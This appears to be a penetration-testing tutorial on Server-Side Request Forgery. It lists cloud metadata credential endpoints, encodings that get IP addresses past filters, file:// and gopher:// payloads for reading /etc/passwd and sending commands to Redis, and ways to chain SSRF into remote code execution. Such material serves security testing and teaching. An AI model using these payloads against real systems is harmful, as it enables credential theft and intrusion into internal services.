SSRF Exploitation: Accessing Cloud Metadata and Internal Services

Server-Side Request Forgery (SSRF) is a critical vulnerability that lets an attacker make the server perform requests on their behalf. In cloud environments, SSRF can be devastating — one request to the metadata endpoint can leak IAM credentials with full account access.

Cloud Metadata Endpoints

AWS

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data

AWS IMDSv1 is the #1 SSRF target. IMDSv2 requires a PUT request with a token, but many instances still have v1 enabled.

GCP

http://metadata.google.internal/computeMetadata/v1/
(Requires header: Metadata-Flavor: Google)

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
(Requires header: Metadata: true)

IP Bypass Techniques

When the application blocks 169.254.169.254 or 127.0.0.1, try alternative representations:

• Decimal: http://2130706433 (127.0.0.1)
• Hex: http://0x7f000001
• Octal: http://0177.0.0.1
• IPv6: http://[::1] or http://[::ffff:127.0.0.1]
• DNS rebinding: http://127.0.0.1.nip.io
• Short form: http://127.1

Protocol Smuggling

Beyond HTTP, SSRF can leverage other protocols:

• file:///etc/passwd — Local file read
• gopher://127.0.0.1:6379/ — Redis command execution
• dict://127.0.0.1:6379/INFO — Service enumeration

Generate SSRF payloads with all bypass techniques using our SSRF Generator. See the SSRF Cheat Sheet for 50+ copy-ready payloads. Use the Encoding Pipeline to URL-encode and hex-encode your SSRF payloads for filter evasion.

Chaining SSRF with Other Vulnerabilities

SSRF rarely exists in isolation. Once you can make internal requests, try:

• XXE to SSRF: Use our XXE Generator to craft XML payloads that trigger server-side requests via external entities
• SSRF to RCE: If SSRF reaches an internal service (Redis, Memcached), use our Reverse Shell Generator to create payloads delivered via Gopher protocol
• CORS bypass: SSRF can bypass CORS restrictions entirely since requests originate from the server
• Open Redirect to SSRF: An open redirect can sometimes be leveraged to bypass SSRF URL allowlists

For a broader understanding of injection attacks that pair with SSRF, read our SQL Injection Testing Guide and XSS Payloads Guide.